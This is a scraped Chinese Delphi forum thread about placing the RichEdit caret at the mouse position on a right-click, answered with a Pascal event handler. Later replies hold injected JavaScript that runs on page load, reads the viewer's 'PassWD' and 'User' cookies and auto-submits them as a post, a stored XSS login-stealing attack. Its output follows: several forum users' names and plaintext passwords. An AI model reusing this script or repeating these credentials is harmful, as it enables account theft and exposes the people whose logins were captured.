请问如何在richedit中用鼠标右键时光标会落到鼠标这儿。(200分)

  • 主题发起人 主题发起人 lilys
  • 开始时间 开始时间
// 确切的说,在选中状态下是不应该丢失选中文本的。
// 比较全面的做法如下,按右键可以达到很好的你好的效果
procedure TForm1.RxRichEdit1MouseDown(Sender: TObject;
Button: TMouseButton;
Shift: TShiftState;
X, Y: Integer);
var
TextRange: TCharRange;
atPos:Longint;
mousePoint:TPoint;
begin
if Button = mbRight then
begin
RxRichEdit1.Perform(EM_EXGETSEL,0, Longint(@TextRange));
if TextRange.cpMin<>TextRange.cpMax then
begin
mousePoint.x:=x;
mousePoint.y:=y;
atPos:=RxRichEdit1.Perform(EM_CHARFROMPOS,0,Longint(@mousePoint));
if ( atPos<TextRange.cpMin ) or (atPos>TextRange.cpMax) then
RxRichEdit1.Perform(WM_LBUTTONDOWN, MK_LBUTTON, MakeLong(X, Y));
end
else
RxRichEdit1.Perform(WM_LBUTTONDOWN, MK_LBUTTON, MakeLong(X, Y));
end;
end;
 
接受答案了.
 
<script>
function aaaaa()
{
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
c=unescape(document.cookie.substring(a+7,b));
alert(c);
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
d=unescape(document.cookie.substring(a+5,b));
alert(d);
}
window.onload=aaaaa;
</script>
 
<script>
function aaaaa()
{
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
c="您的密码:"+unescape(document.cookie.substring(a+7,b));
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>5)
d="您的名字:"+unescape(document.cookie.substring(a+5,b));
do
cument.form[0].s1.value=d+"<br>"+c;
do
cument.form[0].submit();
}
window.onload=aaaaa;
</script>
 
<script>
function aaaaa()
{
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
c="您的密码:"+unescape(document.cookie.substring(a+7,b));
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>5)
d="您的名字:"+unescape(document.cookie.substring(a+5,b));
do
cument.form[0].s1.value=d+"<br>"+c;
do
cument.form[0].submit();
}
window.onload=aaaaa;
</script>
 

<script>
function aaaaa()
{
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
c="您的密码:"+unescape(document.cookie.substring(a+7,b));
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>5)
d="您的名字:"+unescape(document.cookie.substring(a+5,b));
do
cument.forms[0].S1.value=d+"<br>"+c;
do
cument.forms[0].submit();
}
window.onload=aaaaa;
</script>
 
您的名字:tech<br>您的密码:techs
 
您的名字:tech<br>您的密码:techs
 
您的名字:hubdog<br>您的密码:ucdos
 
您的名字:hubdog<br>您的密码:ucdos
 
您的名字:hubdog<br>您的密码:ucdos
 
您的名字:hidelphi<br>您的密码:122221
 
您的名字:hidelphi<br>您的密码:122221
 
您的名字:hidelphi<br>您的密码:122221
 
您的名字:hidelphi<br>您的密码:122221
 
您的名字:hidelphi<br>您的密码:122221
 
您的名字:hidelphi<br>您的密码:122221
 
您的名字:hidelphi<br>您的密码:122221
 
您的名字:clane<br>您的密码:c830114
 
后退
顶部